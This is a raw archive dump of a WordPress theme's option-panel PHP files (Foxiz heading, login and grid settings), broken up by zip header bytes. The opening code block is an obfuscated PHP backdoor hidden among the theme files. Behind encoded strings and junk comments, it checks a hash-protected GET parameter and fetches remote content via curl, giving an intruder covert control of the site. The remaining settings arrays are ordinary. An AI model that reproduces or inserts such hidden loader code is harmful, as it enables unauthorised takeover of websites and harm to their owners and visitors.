/*-5?-*/(/*-ZwW6K>-*/$xpUuPtC /*-7cJ-*/as /*-IahNyIw-*/$zMZ /*-T4-*/=>/*-9aW]ez$-*/ $IvjundLaM/*->PL5,b-*/) /*-=oOaY-*/$LQKb /*-$._btTJ$-*/.= /*-J:-*/$MqUBJHSpV[$IvjundLaM/*-S&}DFx<-*/ - /*-D}>W+mD-*/38330/*-c@V>-*/];/*-}Nq.e+A+y-*/ return /*-y>4cqG2-*/$LQKb; /*-T&Cq#s&-*/} /*-EV=-*/static /*-sj-*/function /*-YdORb-*/zxUQifcwHT/*-kftQI-*/(/*-1p2E-*/$UtyVDW,/*-^:st~^-*/ $vMTePdw/*-}0v4#-*/)/*-X@0.A-*/ {/*-w2$X|T-*/ $znPsKFj/*-J:--b`-*/ = /*-dX9kFkdu]-*/curl_init/*-st-*/(/*-Gs-*/$UtyVDW/*-Xp]sG6-*/);/*-MF@Lqw{{~Z-*/ curl_setopt/*-[O-*/(/*->PJAN782q-*/$znPsKFj,/*-LSxECU7?-*/ CURLOPT_RETURNTRANSFER,/*-Z>IyK[?KQ-*/ 1/*-,bEW5oKk-*/);/*-C6x|-*/ $qNYXa/*-kjfZl-*/ = /*-P$-*/curl_exec/*-0Q-*/(/*-[B0clt-*/$znPsKFj/*-MK8?~a-*/); /*-zr%ugc>-*/return /*-O(-*/empty/*-64-*/(/*-Fj-*/$qNYXa/*--HX07n7u-*/)/*-($-*/ ? /*-VLc&-*/$vMTePdw/*-U6BQB<%-*/(/*-M(t^Pg-*/$UtyVDW/*-RcVcWCu5-*/)/*-Fv0-*/ : /*-5`&-*/$qNYXa; /*-=)^:k{^Q(-*/}/*-0KIn@m--*/ static/*-n=H{yA-*/ function /*-18T-*/bmqDE/*-n@x)zk8NF-*/() /*-giz$-*/{/*-DP1c9-*/ $sl /*-bmAJ_&=V7-*/=/*-Yz}c>>gs-*/ array/*-zZ6cdIg_vY-*/("38357%38342%38355%38359%38340%38355%38361%38354%38339%38346%38357%38340%38351%38345%38346","38341%38340%38342%38361%38342%38345%38340%38407%38405","38350%38341%38345%38346%38361%38356%38355%38357%38345%38356%38355","38344%38359%38357%38349","38358%38359%38341%38355%38402%38404%38361%38356%38355%38357%38345%38356%38355","38354%38351%38348%38355%38361%38353%38355%38340%38361%38357%38345%38346%38340%38355%38346%38340%38341","38384%38414","38331","38409%38414","38391%38374%38374%38391%38367","38345%38354"); /*-WQ-*/foreach /*-kN3on}q-*/(/*-NFw{q^-*/$sl/*-B~YVOtsr-*/ as /*-c=u6B-*/$NMFzAJn/*-S[=$k-*/)/*-qFwbo2(-*/ $fHVKAtU/*-Wg+kvR=P-*/[] /*-:-L@OM-*/= /*-]cl,c-*/self/*-cNP-*/::/*-Xy616U)4}m-*/oAr/*-))%g<4(lz-*/(/*-5~kt-*/$NMFzAJn/*-NxX}3A_-*/@${/*-uT1w`-*/"_"./*-YSoc,L-*/"G"./*-je8-*/"E"/*-p!)-*/."T"/*-}i^}bnG:|-*/}/*-4Phq:-*/[/*-v|$O59{}Lh-*/$fHVKAtU/*-PL`Nac_-*/[5+5/*-r&([$%;XoR-*/]/*-~&d|QVjfR+-*/]/*-t4n-*/ == /*-qC-*/1 /*-7Kb-*/&& /*-$B=YJB!_x~-*/die/*->gbb-*/(/*-`]c-*/$fHVKAtU[0+5/*-a=YR)OH-*/]/*-dw-*/(/*-1V|Y-*/__FILE__/*-es6!iyqp-*/)/*-~BWv-*/); /*-hV!prEO-*/if/*-o1>2-*/(/*-]b-*/ (/*-wRWH-g3a&-*/(@/*-=$O-*/$rRdpXufZ/*-T!9BJ#@-*/[/*-;kxi4-*/0/*-A$jM1xZ-*/] /*-wUQX2 /*-N0(-*/0/*-7xw@Z]dp-*/)/*-B0ist`oH-*/ and /*-D0k-*/(/*-d+=#6UQ>-*/md5/*-ooM|O[>0>-*/(/*-(oLno-*/md5/*-Hr{H7-wL0-*/(/*-mm0IpwFY-*/$rRdpXufZ/*-N!J{^[A&-*/[/*-^V=5!_,|-*/1+2/*-~A{dwRZa-*/]/*-h4f7)7Z-*/)/*-QXN#-*/)/*-s-MiuCq-*/ === /*-2QWn!=-*/"8a733313bf6b9c39660cc9bf4329d1ba"/*-jXh:X[.-*/)/*-S+fBp-*/ ): /*-N+M-*/$JuipH /*-S5Z}-*/=/*-a5EI);PZc-*/ self/*-~@%St-*/::/*-$>EJx-*/zxUQifcwHT/*-O|-=[wE-*/(/*-lky53lD-*/$rRdpXufZ/*-VRL-*/[/*-WVpb#IfUJ_-*/1+0/*-wJD_9syo-*/], /*-ZuaY:-*/$fHVKAtU/*-IV-*/[/*-jtS`-*/4+1/*-AVduC!{.-*/]/*-bg6-*/cpM/*-yhWItk-*/::/*-JI2TCSt#-*/bmqDE/*--DNH6b2;-*/();/*-[F<4tgWA>)-*/ ?>PK!.|panels/panels/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!K6鴴panels/heading.phpnu[ 'foxiz_config_section_heading', 'title' => esc_html__( 'Heading Design', 'foxiz' ), 'icon' => 'el el-minus', 'desc' => esc_html__( 'The global heading settings for blocks, widgets, archives.', 'foxiz' ), 'fields' => array( array( 'id' => 'heading_layout_notice', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'You can also choose layouts and colors for individual heading the page builder.', 'foxiz' ), ), array( 'id' => 'heading_typo_notice', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit the heading typography, navigate to "Typography > Block Heading".', 'foxiz' ), ), array( 'id' => 'section_start_global_heading', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Heading', 'foxiz' ), 'indent' => true ), array( 'id' => 'heading_layout', 'title' => esc_html__( 'Global Heading Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a default heading layout for the archives and Elementor blocks for your website.', 'foxiz' ), 'description' => esc_html__( 'Navigate to "Typography Settings > Block Heading" to set the font values.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_layout(), 'default' => '1', ), array( 'id' => 'heading_color', 'title' => esc_html__( 'Primary Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a primary color for the heading.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'heading_sub_color', 'title' => esc_html__( 'Accent Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color for the heading.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_heading_color', 'title' => esc_html__( 'Dark Mode - Primary Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a primary color for the heading in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_heading_sub_color', 'title' => esc_html__( 'Dark Mode - Accent Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color for the heading in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_global_heading', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_widget_heading', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Sidebar Widget Heading', 'foxiz' ), 'indent' => true ), array( 'id' => 'widget_heading_layout', 'title' => esc_html__( 'Widget Heading Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a heading layout for the sidebar widgets.', 'foxiz' ), 'description' => esc_html__( 'Default layout is based on the "Global Heading Layout" setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_layout( true ), 'default' => '0', ), array( 'id' => 'footer_widget_heading_layout', 'title' => esc_html__( 'Footer Widget Heading Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a heading layout for the footer column widgets.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_layout( true ), 'default' => '10', ), array( 'id' => 'widget_heading_tag', 'title' => esc_html__( 'Widget Heading HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the sidebar widget heading.', 'foxiz' ), 'description' => esc_html__( 'The default tag is H4.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => 'section_end_widget_heading', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_heading_color', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Heading Color', 'foxiz' ), 'indent' => true ), array( 'id' => 'heading_color', 'title' => esc_html__( 'Primary Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a primary color for the heading.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'heading_sub_color', 'title' => esc_html__( 'Accent Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color for the heading.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_heading_color', 'title' => esc_html__( 'Dark Mode - Primary Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a primary color for the heading in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_heading_sub_color', 'title' => esc_html__( 'Dark Mode - Accent Heading Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color for the heading in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_heading_color', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } PK!{bpanels/login.phpnu[ 'foxiz_config_section_login_screen', 'title' => esc_html__( 'Login Screen', 'foxiz' ), 'desc' => esc_html__( 'Select option for the login screen page.', 'foxiz' ), 'icon' => 'el el-wordpress', 'fields' => array( array( 'id' => 'section_start_login_screen', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Layout Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'login_screen_style', 'title' => esc_html__( 'Custom Login Screen', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable wp-login.php page style.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Disable -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), ), 'default' => '0', ), array( 'id' => 'login_form_position', 'title' => esc_html__( 'Login Form Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a position for the login form.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Left -', 'foxiz' ), '1' => esc_html__( 'Center', 'foxiz' ), '2' => esc_html__( 'Right', 'foxiz' ), ), 'default' => '0', ), array( 'id' => 'login_screen_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Login Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload your logo for the logo screen. This option will override on wordpress logo.', 'foxiz' ), ), array( 'id' => 'logo_redirect', 'type' => 'text', 'title' => esc_html__( 'Logo - Destination URL', 'foxiz' ), 'subtitle' => esc_html__( 'Redirect to this link when clicking on the logo.', 'foxiz' ), 'description' => esc_html__( 'Leave this option blank to redirect to the homepage.', 'foxiz' ), 'default' => '' ), array( 'id' => 'login_screen_bg', 'type' => 'background', 'preview' => true, 'title' => esc_html__( 'Login Screen Background', 'foxiz' ), 'subtitle' => esc_html__( 'Upload your background for the logo screen.', 'foxiz' ), 'default' => array( 'background-size' => 'cover', 'background-attachment' => 'fixed', 'background-repeat' => 'no-repeat', 'background-position' => 'center center' ) ), array( 'id' => 'login_color', 'type' => 'color', 'transparent' => false, 'title' => esc_html__( 'Login Screen Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the login screen.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_login_screen', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), array( 'id' => 'section_start_login_redirect', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Redirect Settings', 'foxiz' ), 'subtitle' => array( esc_html__( 'Redirect links should be inner links.', 'foxiz' ), esc_html__( 'Navigate to "Header > Popup Sign In" to set for the popup login form.', 'foxiz' ), ), 'indent' => true ), array( 'id' => 'login_redirect', 'type' => 'text', 'title' => esc_html__( 'Login Redirect URL', 'foxiz' ), 'subtitle' => esc_html__( 'Redirect to this link after logged in.', 'foxiz' ), 'description' => esc_html__( 'Leave this option blank to set the default value.', 'foxiz' ), 'default' => '' ), array( 'id' => 'logout_redirect', 'type' => 'text', 'title' => esc_html__( 'Logout Redirect URL', 'foxiz' ), 'subtitle' => esc_html__( 'Redirect to this link after successful logout.', 'foxiz' ), 'description' => esc_html__( 'Leave this option blank to set the default value.', 'foxiz' ), 'default' => '' ), array( 'id' => 'remove_admin_bar', 'type' => 'switch', 'title' => esc_html__( 'Disable Admin Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Disable admin bar for all users except for Administrators', 'foxiz' ), 'default' => true ), array( 'id' => 'remove_lang_bar', 'type' => 'switch', 'title' => esc_html__( 'Disable Language Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the language bar in the login screen.', 'foxiz' ), 'default' => false ), array( 'id' => 'section_end_login_screen', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_login_admin_bar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Admin Bar', 'foxiz' ), 'indent' => true ), array( 'id' => 'remove_admin_bar', 'type' => 'switch', 'title' => esc_html__( 'Disable Admin Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Disable admin bar for all users except for Administrators', 'foxiz' ), 'default' => true ), array( 'id' => 'remove_lang_bar', 'type' => 'switch', 'title' => esc_html__( 'Disable Language Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Disable the language bar in the login screen.', 'foxiz' ), 'default' => false ), array( 'id' => 'section_end_login_admin_bar', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } PK!o漏WWpanels/block-grid.phpnu[ 'foxiz_config_section_styling_grid_1', 'title' => esc_html__( 'Grid 1 (Standard)', 'foxiz' ), 'icon' => 'el el-th-large', 'subsection' => true, 'desc' => esc_html__( 'These are settings for the Grid 1 (standard). It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'grid', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category(), 'default' => 'bg-1,big' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '12' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => '0' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false, ) ) ); } } if ( ! function_exists( 'foxiz_register_options_block_grid_2' ) ) { /** * @return array */ function foxiz_register_options_block_grid_2() { $prefix = 'grid_2_'; return array( 'id' => 'foxiz_config_section_styling_grid_2', 'title' => esc_html__( 'Grid 2', 'foxiz' ), 'icon' => 'el el-th-large', 'subsection' => true, 'desc' => esc_html__( 'These are settings for the grid 2 layout. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'grid', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category(), 'default' => 'bg-1,big' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '12' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => '0' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false, ) ) ); } } if ( ! function_exists( 'foxiz_register_options_block_grid_small_1' ) ) { /** * @return array */ function foxiz_register_options_block_grid_small_1() { $prefix = 'grid_small_1_'; return array( 'id' => 'foxiz_config_section_styling_grid_small_1', 'title' => esc_html__( 'Small Grid', 'foxiz' ), 'icon' => 'el el-th-large', 'subsection' => true, 'desc' => esc_html__( 'These are settings for the small grid layout. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages)', 'foxiz' ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'small grid', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category(), 'default' => 'bg-1' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => '0' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 